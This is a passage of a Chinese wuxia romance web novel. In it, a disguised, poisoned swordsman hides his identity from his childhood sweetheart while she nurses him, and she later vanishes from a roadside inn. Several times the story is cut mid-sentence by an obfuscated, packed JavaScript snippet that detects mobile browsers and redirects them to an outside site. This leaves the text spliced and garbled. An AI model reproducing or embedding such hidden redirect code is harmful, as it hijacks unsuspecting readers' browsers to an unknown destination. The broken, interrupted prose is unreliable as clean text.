陆晓怜眼睛亮了起来,叽叽喳喳地问:“你醒了?觉得怎么样?” 贺承虚弱得坐不住,整个人都倚在陆晓怜怀里,微微垂着头,半睁着眼,气息凌乱地缓了好一会儿,才攒出力气来答陆晓怜的话:“好多了……就是累……” 陆晓怜吸吸鼻子,拿帕子擦掉他唇边的黑血:“累就歇会,左右也没什么要紧事要办,还有谁能拦着不让你睡觉不成?” 累了就睡,要说偷懒这件事,陆晓怜敢说自己是第二,便没人敢称第一了。 贺承看着陆晓怜,闷闷咳嗽,也闷闷笑着。虚耗太过,他实在没什么精神,眼睫往下垂了垂,又挣扎着挤出一点精力,问:“江非沉的尸骨……带回来了吗?” “放心吧,葛武葛文带吴阿婆去接了。” 贺承点头,眼睛里的光更涣散了一些,声音也同步低了下去:“那晚,让葛武葛文,吃的药丸,是骗他们的,无需解药。就,就让他们走吧……” “知道了,你睡吧,别操心这些。” 贺承点头:“我没事了,你不用守着,去歇会……” 陆晓怜敷衍着点头,小心扶贺承平躺下来。 他太过虚弱,几句话说完,心里的事有了着落,意识便又昏昏沉沉地落下去。嘴上说着让陆晓怜休息,可陷入昏睡前,他还是习惯性地伸出手,虚握住陆晓怜的手。 陆晓怜安安静静坐在床边,任由他握着她的手。 她没有离开,她甚至没有挣脱开他的手。 贺承这一次合眼,昏睡了整整两天。 昏睡过去前,是陆晓怜陪在他身边,他苏醒过来时,陆晓怜枕着手臂趴在床沿。视线悄无声息地落在她身上,他只觉得整颗心都是满的,微微抬了抬手想去碰一碰她的头发,却发现自己的手臂依旧无力,只能悻悻放弃。 他此刻意识清明,安安静静躺在床上,便断断续续想起一些昏迷之前的事情—— 比如,他记得那天从琴剑山庄撤离时,他好像短暂醒过几次,好像有一次抱住了陆晓怜,好像又有一次拉住了陆晓怜的手! 那时,他难受到了极点,面前站着心心念念的姑娘,意志脆弱得不堪一击。 事实上,贺承与陆晓怜青梅竹马两情相悦,拉手拥抱,本不是什么大不了的事情,可是此时此刻,他偏偏应该叫沈烛! 想到这里,贺承心中警铃大作。 他曾想过向钟晓说明身份,却丝毫没有考虑过向陆晓怜坦白。之前是怕她执意要跟着他,怕她卷进与他相关的是非里,而如今眼睁睁看着自己的身体日渐颓败,不愿与她相认的理由更是简单明了—— 他不想她太难过。 沈烛要死了,只是一个萍水相逢的人要死了,她心肠软,大概也是会难过的,这种难过像夏日的大雨,轰轰烈烈地来,轰轰烈烈地去,不消几日,依旧晴空万里。 可贺承要死了,对于陆晓怜而言,却不会是这样一场滂沱大雨。 她会难过很久,像无法断流的溪涧,像不知来处的冷风,像这南州城的阴雨,无休无止,找不到出口。 南州的雨每年都会下,一下便是连绵数月。 她会那么难过,要难过那么久。 他舍不得。 守着病人的人睡得不沉,陆晓怜觉察到身边有异样动静,很快醒了过来,从臂弯里仰起头,一抬眼便望进贺承眼里。 他也正在看她,他就这样默不作声地醒来,这样默不作声地盯着她,瞳仁漆黑,眸光幽深,不知道这样看了她多久。 他们两人在某一刻视线交错,不约而同深深对望了一眼,又在下一刻各自做贼心虚地移开目光。 陆晓怜正襟危坐:“你醒了?觉得怎么样?” 偷窥被捉了个正着,贺承心虚又尴尬,正经得像恪守礼节的钟晓:“已经没事了,多谢你照顾。” 气氛没有由来的诡异,陆晓怜抬手理了理头发,没话找话:“钟晓陪吴阿婆他们送非沉师兄回江家村了,再过几天回来。” 贺承也不知道该说点什么,只点了点头。 陆晓怜想了想,又说:“钟晓走之前去跟张大夫打听了百花谷的所在,你的伤不能再拖,等钟晓回来,我们陪你去百花谷。” 在贺承此行的计划中,百花谷本来就是他离开南州后要去的地方,可遇见陆晓怜是计划之外的事情。能再见她一面已是意外之喜,虽然舍不得同她分开,可他更希望她能尽快回到青山城,在师门的庇护下,不被江湖动荡波及分毫。 他是这样想的,也就这样说了:“陆姑娘,江湖险恶,如今你又与琴剑山庄结了仇,不宜继续在外逗留,最好尽早回青山城去。百花谷我自己可以去,若得神医救治安然无恙,我定会修书相告。” 他自以为这话说得入情入理,却不知哪里惹得陆晓怜不高兴,刚刚还温柔和善的人脸色隐隐沉了下来,站起身来,不冷不热道:“睡了两天,你也该饿了,我去给你盛点粥,百花谷的事等钟晓回来再说。” 不知道贺承什么时候会醒,粥是一直在炉子上温着的。 陆晓怜盛了小半碗白粥,往粥里埋了几颗跟江阿小要来的梅子,很快便把粥端回房间里。她兴致依旧不高,把碗往贺承手里一塞:“喏,吃点东西,垫垫肚子好吃药。” 因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13336469|138408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心虚,贺承一觉醒来,礼貌得过分,双手接过陆晓怜手里的粥碗,规规矩矩地道了声“多谢”。他握着勺子把碗里的清粥搅开,从碗底翻上来几颗梅子,梅子的味道浸泡在汤粥里,将雪白的米粥晕染出浅淡颜色。 贺承看着自己舀起的梅子,不由愣住。 以前陆晓怜生病不肯吃东西,他就常常往白粥里加梅子哄她。 生病的人合该吃些清淡细软的东西,可病中胃口本就不好,没滋没味的白粥更是难以下咽,他时而往粥里加糖,时而往粥里埋几颗梅子,给寡淡的汤粥添些滋味,才能哄着陆晓怜吃几口。 没想到,风水轮流转,如今这一招反而被陆晓怜用到自己身上来了。 见贺承盯着汤匙里的一颗梅子发呆,陆晓怜问:“怎么了?” 没怎么。 只是此刻像极了青山城里肆无忌惮的那些时光,令人恍惚间,分辨不清今夕何夕。 贺承浅浅抿了一口白粥,清淡米香中掺着梅子的酸甜,正是他所熟悉的滋味。他颜色浅淡的唇边噙着笑,低声回应陆晓怜:“没什么,这味道很是特别。” 陆晓怜说:“这是我师兄喜欢的吃法。他说他还没到青山城的时候,曾有个小孩分给他一颗梅子,他舍不得吃,恰好那时有善人设粥棚,就把梅子埋进米粥里,就着一颗梅子,囫囵喝了好几碗粥,那是他小时候吃过最美味的东西。” 这故事是贺承告诉陆晓怜的。 他没有告诉她,那颗梅子不是小孩分给他的,是他去抢来的。那时养大他和弟弟贺启的乞丐爷爷刚刚过世,贺启思念爷爷,天天哭闹,连饭都不肯吃。他便从那颗梅子上一点一点剥下梅肉,埋进薄薄的米粥里,凭着那一点单薄的酸甜滋味,哄贺启吃饭。 陆晓怜并不知道贺承想到了这些过往,继续说下去:“以前我不肯吃饭,我师兄就会把梅子埋在粥里,给白粥添点味道,哄我吃东西。”陆晓怜目光炯炯地盯着贺承看,几乎要在他身上盯出两个洞来,却只问他,“怎么样?你喜欢这碗粥吗?” 贺承笑笑,又舀了一勺米粥送入口中。 他其实没什么胃口,经脉脏腑间崩裂般的剧痛退去,浑身依然被酸胀的不适感裹挟着。他昏迷前几番呕血,喉咙里尽是腥苦,咽下的食物都裹着令人欲呕的腥气,米粥的香气与梅子的酸甜与之相比,势单力薄。 可这毕竟是陆晓怜端来的粥,粥里毕竟埋着过去酸甜各半的漫漫时光。 终于,他咬着牙将那小半碗粥尽数喝下,告诉陆晓怜:“味道确实特别。” 陆晓怜于是顺势又夸了夸她的师兄,话锋毫无预兆地一转:“你还记不记得,那日从琴剑山庄回来,你做了什么?” 记得,但也不是很敢记得太多。 “那日,我是不是做了什么无礼的事情?”贺承偷偷观察陆晓怜的脸色,打算先诚恳道歉,再见招拆招,“我那日神志不清,若是冒犯了姑娘,我……” “你那时把我当做谁了?” 亡羊补牢的开脱刚刚开了头就被陆晓怜打断,贺承有些不知所措,只沉默地看她。 陆晓怜自问自答:“你是不是也有个青梅竹马一起长大的师妹?你那时是不是把我当做你的师妹了?”她轻轻笑了一下,眸光柔缓下来:“你跟我说说你和你师妹的故事,好不好?” 19.第十九章 编故事 他和他师妹的故事? 什么师妹?哪里来的师妹?他神志不清之际,怎么还会提到什么师妹? 贺承表面上平静镇定地看着陆晓怜,实则心中方寸大乱,脑子里一片空白。兵书上说知己知彼百战不殆,可他不仅不知道陆晓怜此刻在想什么,连自己胡言乱语过什么都不知道,心慌意乱,焦头烂额。 “你慌什么?”陆晓怜好笑地看他,“我只是问问,又不会去把你师妹捉来吃了。” 他能慌什么? 说到底还不是怕脸上这层薄薄的胶皮面具保不住了。 把他和“他师妹”的故事告诉陆晓怜,陆晓怜会听不出来,她自己就是“他师妹”本人吗?既然陆晓怜是“他师妹”本人,那他是谁,岂不是很容易可以猜出来了? 所以,故事当然要曲折婉转地说。 顺着这个思路,贺承硬着头皮半真半假地编:“我与师妹一同长大,也算是青梅竹马,只是师父本就不同意师妹与我在一起,如今我已经离开师门,日后也未必能再见到她,姑娘家的名声要紧,我不便提及太多,以免打扰她日后的生活。” 闻言,陆晓怜古怪地看了他一眼,忍不住反驳:“怎么可能是打扰?” “嗯?”贺承被她打得措手不及,疑惑地看着她,“什么?” 陆晓怜抓抓头发:“我的意思是,就算你师父不同意,你师妹该喜欢你,自然还是会喜欢你的。”大约是担心自己的空口白话没有说服力,她想了想,拿自己现身说法:“我就是联想到了我自己。你应该也知道半年前青山城里的事吧?” “大概知道的。”贺承不知道她为什么突然提起半年前的青山城,“半年前陆掌门为陆姑娘设擂比武招亲,青山城广发英雄贴,群贤皆至,青山城一时风头无两。” 陆晓怜说:“是啊,可无论多少人来青山城,我喜欢的人依然只有我贺师兄一个!” 江湖儿女潇洒坦荡,陆晓怜从不隐藏对他的情意,反倒是他,如履如临,小心翼翼。 贺承眼眶有点热,微微低下头掩饰情绪,温声道:“陆姑娘情深义重,令人感动。” “所以啊,你师妹一定也是的!”陆晓怜在床边的凳子上坐下来,目光澄澈地看着贺承,声音放得很轻,“她如果听见你说,你不想打扰她日后的生活,知道你不要她了,她一定会很难过的。” 说者无意,听者有心。 贺承心里像是被一蓬针狠狠扎了进去,蔓延上来密密麻麻的疼痛。他当然不是不要她了,可无涯洞外的事情还没了解,可他五内俱损命不久矣,他的小师妹合该是青山城里蓬勃灿烂的小太阳,而不是三四月里南州城上的惨淡愁云,他不忍心再去招惹她了。 “那你呢?”贺承反过来问她,“若是再也见不到你贺师兄,你会有多难过?” “不会再也见不到的!”陆晓怜紧紧盯着他,目光坚毅,“一日见不到,我便找他一日,一年见不到,我便找他一年,一定会找到的!” 那他,若是死了呢? 这话贺承说在心里,没忍心问出口。他看着陆晓怜明亮坚毅的目光,说不上心里是什么滋味,过了半晌,才挤出一句:“我想,你师兄不愿见你,也许有他自己的道理。” 陆晓怜抿了下嘴唇,挤出一点勉强笑意:“我知道的,师兄不会无缘无故躲起来,他一定有别的事情要做,等把那件事做完,自然会来找我。” 陆晓怜懂事乖巧得令人心疼,贺承喉咙发紧,声音暗哑:“你,你别怪他。” “只有他办完要办的事,早些回来找我,我自然不会怪他。”陆晓怜目光泠泠,盯着贺承,又追着问,“那你呢?你又是为什么同你师妹分开的?” “我做了有辱师门的事,虽然师妹恩义深重,可我——”他看着陆晓怜,微微苦笑,“可我如今这副模样,已是自身难保,江湖动荡,我已不能护她周全,她留在师门中才是最好的。” 他顿了一下,又补上一句:“人同此心,我猜想,你师兄一定也希望你能在青山城,安安生生地等他回去。” “是,他一向为我想了许多。”陆晓怜盯着贺承的脸,目光似乎能透过那张胶皮面具造出的陌生面孔,落到无法追及的远处,“我真的好想师兄。” 贺承安慰她:“他虽不能来见你,却一定也在思念你。” “他究竟什么时候才能回来找我?”陆晓怜的情绪一直平静,直问到这一句,浑圆的杏眼才终于盛不下层层堆积的湿气,簌簌滚落下来两串眼泪。 他不敢替贺承承诺,他不想要她枯等,可是这两颗眼泪是当着他的面生生滚下来的,直如千斤巨石砸在他的心上。他沉默了许久,终于还是不愿意哄她,只冷淡应道:“若是他想,他自然会回来找你,若是他没有回来找你,你也不必太将他放在心上。” 陆晓怜的眼里有盈盈泪光,似乎还想说什么,可贺承已经不敢听下去。他怕自己在她的眼泪里缴械投降,只好硬着心肠背过身去,打断她:“我有点累,想睡会。” 他背对着她,听见她在身后轻轻说:“你若是难受得厉害,就把我当做你师妹吧,我不会生气的。只希望我师兄在外面,也能遇见好人。” 闻言,贺承抿得发青的唇颤了一下,黑长眼睫垂下来,已经被温热湿气浸透。 很难定义这一晚陆晓怜与贺承的交谈。 若说深入,聊到最后,他们并没有得出什么两人都认可的结论,可若说浅薄,他们聊的字字句句,却又触及他们心里最深最真的情意,将埋在心里百转千回的思绪挖出来曝露与煌煌灯火之下。 无论如何,那一晚之后,看起来他们至少将对方当做了朋友。 或许,比萍水相逢的普通朋友还要更亲近一些,因为贺承拼接出来的那段相似经历,他们甚至算得上是惺惺相惜的知己。 卓弘明身亡的消息在贺承醒来的第五天传来。 被囚禁山庄多年,亲生孩子接连被害,无论身为曾经名满江湖的五毒娘子,还是身为三个孩子的母亲,南婧都是恨极了卓弘明的。 她恨得磊落坦荡,离开时干脆果决,重伤卓弘明时,更是毫不手软,尽管在名义上,他仍然是她的丈夫。 可那又如何? 自始至终,该愧疚该悔恨的人都是卓弘明,多年前义无反顾追随着卓弘明来到南州 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13361437|138408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 城的南婧何辜?当年她甘愿为他远走他乡,痴心错付,如今终于亲手为自己讨了个说法,她离开时一句话也没有多说,拿得起放得下,凭谁身后说是非,她自肆意爱恨潇洒自在。 听说,卓弘明死相极惨。 大概是毒蒺藜上淬的毒令他失了神志,也可能他坏事做尽实实在在地疯了,山庄门人说,他披头散发躲在屋子里,谁也不敢见,说一入夜,他便会看见被他害死的那些孩子密密麻麻站在他的床头,有的喊他父亲,有的喊他师父,人人手里拿着刀,人人要从他身上剜下血肉。 怪力乱神,无稽之谈。 没有人拿刀割他的血肉,是他在神智迷乱中,以掌为刃,亲手将自己凌迟。 陆晓怜去外面打听一圈,回来同贺承说起这件事时,愤愤不已:“他原来竟想用这样的毒药害我师兄!真是自作自受!” 卓弘明中的毒,原本是要用在贺承身上的。 那日钟晓按照江非沉信上的线索,找到江非沉事先留下的证据,其中就包含了指向南婧被关押之处的地图和他离开南州时卓弘明给的那袋毒蒺藜。 南婧被困在琴剑山庄深处,兴许最初还与她对卓弘明的爱意有关,到了后来,爱意消磨殆尽,还叠加上杀子之仇,卓弘明能困住她,全赖于早早收走她的药囊。因此钟晓将南婧救出时,她两手空空,身上一点毒药也没有,报复卓弘明的那一击,用的便是江非沉留下的那一袋毒蒺藜。 这便是陆晓怜说卓弘明是自作自受的原因。 贺承是在屋子里关不住的人,伤势略有好转便想出门去转转。陆晓怜自然是不肯的,两人赌气了半日,最后各退一步,将贺承的活动范围限制在小小的江家酒肆之中。 陆晓怜打听到卓弘明的死讯这日,贺承正坐在院子里的躺椅上优哉游哉地赏花。 春日里,雨一停下来,花木便疯长,黄的、白的、粉的各种颜色各种形态的花攀上墙头,将江家酒肆这方小小的院落围得花团锦簇。 他好笑地看着被气得脸颊飞红的陆晓怜,蜷着手闷闷咳了几声,倾身给她倒了杯茶:“恶有恶报,别气了。” “哼,卓弘明的算盘打得倒挺响,这毒药发作已在受伤的七八日之后,若是当初师兄中毒致幻伤了自己,谁又能想到是琴剑山庄下的手?”陆晓怜抿了口茶水,心有余悸,“幸好江师兄是正人君子,不屑与他为伍!” 听到这里,贺承握着茶杯陷入了沉思。 这几日他与陆晓怜朝夕相伴过得快活,若不是卓弘明身中毒蒺藜毒发身亡,他险些忘了这件事—— 江非沉是正人君子,当初打在他身上的那枚铁蒺藜无毒。 可他那时候又确实是中了毒的。 与卓弘明的毒相似,他那时中的毒药也不是立刻发作起来的,可与卓弘明的毒不同,他当时所中之毒,毒性是悄悄滋长的,深入骨髓,日复一日消耗气血,若那时他没有受重伤,盘踞于经脉脏腑之中的毒素没有被人发现,他就会在不知不觉中耗尽气血,油尽灯枯而死。 这与卓弘明下在毒蒺藜上的显然不同。 既然与卓弘明无关,那他身上的毒究竟是谁下的? 20.第二十章 失踪 大约过了半个月,钟晓、江家祖孙和葛家兄弟一起回到南州城,闭门多日的江家酒肆顿时热闹起来。 可这热闹,也同时预兆着离散。 琴剑山庄的事尘埃落定,卓弘明毒发身死,江非沉入土为安,那些斥责青山城包庇贺承的人,也因为这件事,对无涯洞外那场悲剧的始末,开始有了些许怀疑。 想做的事都已经完成,大家都没有继续留在南州城的理由。 葛文葛武选择在试琴会上指摘卓弘明,便算是与回琴剑山庄划清界限。他们在进入琴剑山庄前就是孤儿,离开琴剑山庄也无处可去,这半个月里与吴阿婆、江阿小相处生出了感情,便决定往后与他们在一处生活,相互帮衬。 可江家祖孙正在为今后的出路发愁。 他们来到南州城本是为了江非沉,如今江非沉不在,他们当然没有继续留在这里的道理,可他们一老一幼,又能去什么地方?又能倚赖何事生计? 为难之际,陆晓怜向他们伸出援手,若他们愿意,处理完南州城遗留的事务后,便一路向北往青山城去,让江阿小拜入青山城门下。 她看不出习武之人的禀赋,不能确保江阿小能成为师叔师伯亲授的弟子,但即便成为普通弟子,从此身后也有师门可以依仗。而吴阿婆和葛家兄弟,虽不便拜入山门,但在青山城里找些事做,挣点银子维持生计,也是不难。 至于陆晓怜自己,她和钟晓离开青山城一方面是为了找贺承,一方面也是为了四处找寻线索,厘清那一夜无涯洞的真相。之所以把第一站选在南州城,是因为陆晓怜在无涯洞外的草丛里翻到了江非沉的那颗铁蒺藜,如今既然已探明这颗铁蒺藜与那一夜杀戮之间的关联,她和钟晓自然也不会在南州城里待下去。 可下一站,究竟要去哪里? 六个大人、一个小孩挤在一张四四方方的八仙桌上吃饭,各自两两一组,只有贺承那条桌边,孤零零地坐着他一个人。 陆晓怜看了贺承一眼,旧事重提:“我和钟晓先送沈烛去百花谷。” 这一顿饭,进行到此刻,陆晓怜说的话都在贺承意料之中,他也早就想好了说辞:“南州城到青山城路途遥远,吴阿婆和江阿小一老一少多有不便,陆姑娘帮人帮到底,还是把他们送到青山城吧。至于我,一则我年轻力壮,二则此处离百花谷不远,我自行前往便是。” 显然,陆晓怜也早就料到贺承会这样说。 她瞟了一眼这人歇了半个月依旧不见血色的唇,心里翻了个白眼,面上却没有显露出分毫不满,反而顺着他的话示起弱来:“此话甚是。我在试琴会上与卓弘明针锋相对,令琴剑山庄颜面尽失,虽然卓弘明已经死了,可不知道会不会有其他琴剑山庄门人对我怀恨在心,欲杀我后快。正是因为吴阿婆与江阿小一老一少,我才不能与他们一路,害他们置身险境,也正是因为沈兄武功高强,我才想与沈兄一路,得沈兄庇护。” 陆晓怜平日里是打肿脸充胖子的性格,何曾这样主动示弱过? 这话说完,贺承和钟晓都一齐诧异地朝她看过来,顿了半天没有说话。 钟晓看看贺承,又看看陆晓怜,不知道自己不在的半个月里,这两个人究竟发生了什么,竟让他一向心高气傲的晓怜师姐为了与这个萍水相逢的沈兄同行,不惜低头服软。他越想越慌,暗里扯扯陆晓怜的衣袖,低声提醒她:“师姐,我们还要去找贺师兄呢。” 贺承倒是没和钟晓往一处想。 陆晓怜说得有理有据,他几乎被说服,甚至真心实意地觉得自己若是与陆晓怜在南州城便分道扬镳,于陆晓怜而言确实是危机四伏。他越想越不安心,偏过头去闷闷咳了一阵,拧着眉头:“可我并不去青山城,即便与你们同行,也只能再走一小段路。” 陆晓怜早就在这里等着:“无妨,等这阵风声过去便好!” 话音刚落,贺承和钟晓又一齐朝她看过来,各自从她语气里难以掩饰的兴奋中,琢磨出一点异样来。 一顿饭的功夫,大家今后何去何从各自落定下来。 大家相识的时间不长,经历的事情却不少,彼此间难免滋长出感情,但除了化名为沈烛的贺承,其他人终将在青山城里重逢,因而即使陆晓怜他们决定两日后便要启程去百花谷,院子里并没有多少离散的情绪。 只除了江阿小。 贺承他们要离开的前一天,江阿小肉眼可见的心不在焉。那晚,小家伙果然偷偷摸摸溜进贺承房间里,趴在他床头,一双眼睛在夜色里闪闪发亮,细声细气地说话:“沈烛哥哥,你醒着吗?” 当然醒着。 他虽然疲倦至极,可今晚特意没有把门关严,确实是在等他。 贺承睁开眼,看见泠泠月光从窗口落进来,在地上铺出一方霜雪,而江阿小瘦瘦小小的一道影子蜷在他床头,伶仃可怜。 贺承抵着唇闷闷低咳了几声,撑着床缓缓坐起身,明知故问:“你怎么来了?” 将阿小大着胆子往前凑了凑,像只小猫小狗似的,蹭到贺承腰间,仰着巴掌大小的一张脸问他:“我想到你就要走了……我,我以后还能再见到你吗?” 相似问题,陆晓怜也问过。 她问是,贺承还会不会回去找她? 江海同归,最后的答案是一样的。他心中分明有答案的,那时却敷衍地含糊了过去。 他不能骗陆晓怜,他怕她为了等贺承,蹉跎韶华,但他却可以骗江阿小,像小时候骗贺启过年就能吃饱饭一样,给他一个念想遥遥望着,支撑他像一棵野草一样不屈不挠地长大。 春寒料峭,江阿小光着脚跑进来,冻得缩起小小的肩膀。贺承索性把小家伙拎到床上,塞进被子里,挨着自己坐着。他气血枯竭,体温低凉,而七八岁的孩子暖得像一只火盆,贴着他,贺承想起小时候与贺启相依偎着取暖的冬天。 贺承仔细想想,自己对江阿小的偏爱,大抵是因为江阿小实在像极了他的弟弟贺启,弱小,可怜,无所适从,所以极度依赖他。 想到贺启,贺承轻轻叹了口气,他也已经有半年没有见到贺启了。 江阿小缩在贺承身边,扯扯他的衣角:“沈烛哥哥?” 贺承回过神来,挽起毫无血色的唇温和微笑:“我四海为家,你找不到我。但你去了青山城好好练功,待你名满江湖时,我循着消息去找你,我们便能再见。” “真的吗?” 江阿小仰着头看他,眼睛亮如星辰。 贺承没有再说什么,伸手从褥子下翻出一把崭新的弹弓递给他。 毕竟是小孩子心性,收到礼物,立刻欢喜得什么也顾不上,翻来覆去地把玩了半天。他俨然是个弹弓的专家,抻了抻弓架上的皮筋,兴奋道:“这皮筋比之前大哥给我找的牛筋还要好!” 贺承熬到这个时候等他,又说了这么久的话,此时有些坐不住了,往后仰靠着床头,垂眼看着身边兴奋得跟只小老鼠似的江阿小,低声告诉他:“这是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他们到达客栈时天色已经不早,客栈门旁拴着的小黑狗原本已经昏昏欲睡,看见来了客人,顿时亢奋,朝他们热情大叫,把里头困得要打起盹来的小二喊出来迎客。 道旁的客栈大多住着风尘仆仆的赶路人,舟车劳顿的,这个点早该休息了。可贺承他们走进客栈时,大堂里还有三四张桌子满满当当地坐着人。 听见有人走进来,他们齐刷刷放下碗筷看过来,目光往陆晓怜他们几个人身上转了几转,最终又都默不作声地转回头去吃饭。 尽管他们并未做出任何过激举动,可贺承向来敏锐而谨慎,这几桌人的目光有意无意地往陆晓怜身上落,令他觉得分外不适。他从怀中摸出几颗碎银,请掌柜安排小二将饭菜送到他们房间里去。 出门在外,特别是在这样的荒郊野地里,是该打起十二分精神。 贺承这样提醒自己,也这样提醒了陆晓怜与钟晓。 话虽如此,可兴许是身体衰败已极不堪劳累,贺承饭后躺在床上昏昏睡去,竟是一宿无梦,直到第二天日上三竿,才被钟晓的敲门声叫醒。 “沈兄!快开门!” 贺承从睡梦中惊醒,心口狂跳,仓皇起身,眼前陡然一黑,险些一头栽倒下去。他抚着心口缓了一会,才脚步虚浮地拉开门,看着门外的钟晓神情慌张,贺承心下一沉,强作镇定:“怎么了?” 钟晓急得脸色煞白:“我师姐不见了!” 21.第二十一章 追踪 大概是昨日奔波太过疲惫,钟晓今日也醒得比平日要晚。他的房间和陆晓怜的房间相邻,打着哈欠推门出来见陆晓怜的房门没有关严,以为她早早醒了,叩门没有回应,推门进去才发现房间里一地狼藉,甚至还有两张凳子被撞倒在地。 房间里什么都不缺,单单少了个陆晓怜! 贺承随钟晓来到陆晓怜房间,转了一圈,紧锁着眉头问他:“你听见什么动静了吗?” 钟晓摇头:“我昨日睡得很沉,早晨醒得都比平日要晚。” 贺承脸色更沉。 他记得钟晓睡眠浅,之前在青山城练功也很辛苦,饶是如此,夜里有什么风吹草动,他也总能知晓。昨日奔波虽然疲惫,却也不至于让钟晓彻底睡死过去,一墙之隔的房间里闹出这样大的动静,他没道理毫无察觉。 贺承本以自己昨日睡得沉,是因为自己气血不济,受不得颠簸劳累的缘故,此时结合钟晓的情形来看,显然是事有蹊跷。 钟晓走到窗边,往外探了探头,惊诧道:“马棚里的马怎么都不见了?” 话音刚落,楼下便传来他们雇佣的那位车夫的叫喊声:“诶,我的马车呢!怎么睡了一晚,我的马车就不见了!掌柜的,你得给我个说法!” 看样子,不仅是马不见了,连马身上套的车架也被人一锅端了。 贺承与钟晓相视一眼,一同往楼下走去。 他们昨日到达客栈时天色已经不早,可大堂仍坐满了人,相比之下,今日客栈的大堂就显得空荡许多,只有他们请的车夫提着鞭子,站在柜台前与掌柜对峙。这两人也像是刚刚睡醒不久,特别是柜台后面的掌柜,还有一点睡眼惺忪的模样,目光呆滞地看着面前暴跳如雷的人,半天没对上话。 车夫举着马鞭,怒气腾腾:“你们就是个黑店!我要去官府举报你们!” 掌柜费了点力气,终于明白是客人的马车不见了,挣扎着解释:“兴许是别的客人驾错了车,这种事以前也是有的,师傅您别着急,再等等,也许就还回来了。” 这时贺承和钟晓正好走下楼来。 昨晚贺承提醒大家提高警惕,钟晓回房后特意观察过窗外的情况,他住的房间紧邻着陆晓怜的房间,窗外便是马棚,他向窗外张望时,空地上只停了一架马车。 钟晓向掌柜确认:“昨日投宿的客人,除了我们,还有别人是驾着马车来的?” 这些细枝末节的事情掌柜是不了解的,他喊了小二来,小二掰着手指回忆,说昨晚只帮客人栓了一架马车。 车夫听了这话,刚刚平复下来的心情又起波澜,嗷嗷嚎叫着自己是如何将他的马从小养大,又是如何省吃俭用地攒钱买了这么一架车,如今马也没了,车也没了,让他今后怎么活! 贺承与钟晓顾不上安慰他,又追着问:“昨日投宿的客人有多少?” 这个问题是掌柜翻着账簿回答的:“昨日入住的客人看着不少,但仔细算来也就三波人,除了你们外,就是那十来个口音怪异的异乡人,另外还有个姑娘,已经在这里落脚两三天了。” 掌柜提到的那帮异乡人应该就是他们昨晚进店时撞见的那帮人。 贺承想起进店时候,他们状似不经意、却频频落到地落到陆晓怜身上的目光,心念一动,问:“那帮异乡人已经走了吗?” 值夜的店小二一夜没睡好,揉着眼睛:“天没亮就走了,他们说今天一早要赶路,昨晚便结过账,我早上起来时,马棚已经空了。” 钟晓急道:“是什么了不得的事,天没亮就要抹黑走!” 小二被他一吼,无言以对,只能眨巴眨巴眼睛无辜地看着他。 贺承稍稍拦了钟晓,强作镇定:“这一晚,你们可有听见什么动静?” 掌故与小二对看了一眼。 掌柜摇了摇头,而小二因为值夜,就躺在柜台后面的小榻上小憩,依稀有些印象:“那群异乡人走的时候是闹出了些动静,窸窸窣窣的,我太困了,没睁眼,也不知道他们在做什么。对了,他们还挺客气,走的时候帮我掩上了门,让我不用起来关门了。” 贺承当然不关心他们客气不客气:“昨晚我们进店后,离开的便只有他们吗?” 小二毫不犹豫地点了点头。 钟晓拧着眉头翻着掌柜的账本,希望能从入住者的名字挖掘蛛丝马迹。 这种城外官道旁的客栈,大多是供赶不及进城的人暂时落脚的,鲜少有人一连住上两三天。可他手里的这本账本上却有个名字,一连出现了三天。 钟晓想起,刚刚掌柜确实提起过这样一个人,他指着账本上的名字问:“这便是那位落脚多日的姑娘吗?她也还在吗?我们吵吵闹闹这么久,怎么不见她下楼?” 经贺承提醒,掌柜和小二才觉察出不对:“是啊,这个时辰金姑娘早该下楼来找吃的了,怎么今日没有动静?” 于是,一群人又浩浩荡荡上楼去敲那位金姑娘的门。 半天没人回应,小二一脚踹开房门,只见这位金姑娘的房间和陆晓怜的房间一模一样,空无一人,却遍地狼藉。 昨夜,住在这间客栈里的两位姑娘都不见了。 纵观昨日出入客栈的人,嫌疑最大的,自是那十几个漏夜而行的异乡人。 没人知道他们为什么劫走两位姑娘,也没人知道他们会将两位姑娘带往何处。 众人坐在客栈大堂里一筹莫展,车夫嚷嚷着要进城报官,掌柜想着要息事宁人,拿着银锭安抚着车夫。四下乱糟糟闹哄哄,惹得贺承心里更乱,陆晓怜天还没亮就被带走,距离此时至少也过了两三个时辰,他越想越担心,实在是坐不住了,摸出一锭银子给车夫,起身便往外走去。 “沈兄!”钟晓起身追来,“沈兄,你要去哪里?” “这么坐下去不是办法,我得去找晓,找陆姑娘。” 钟晓当然也是担心他师姐,可天大地大,此事理不出个头绪来,走出大门外,东南西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 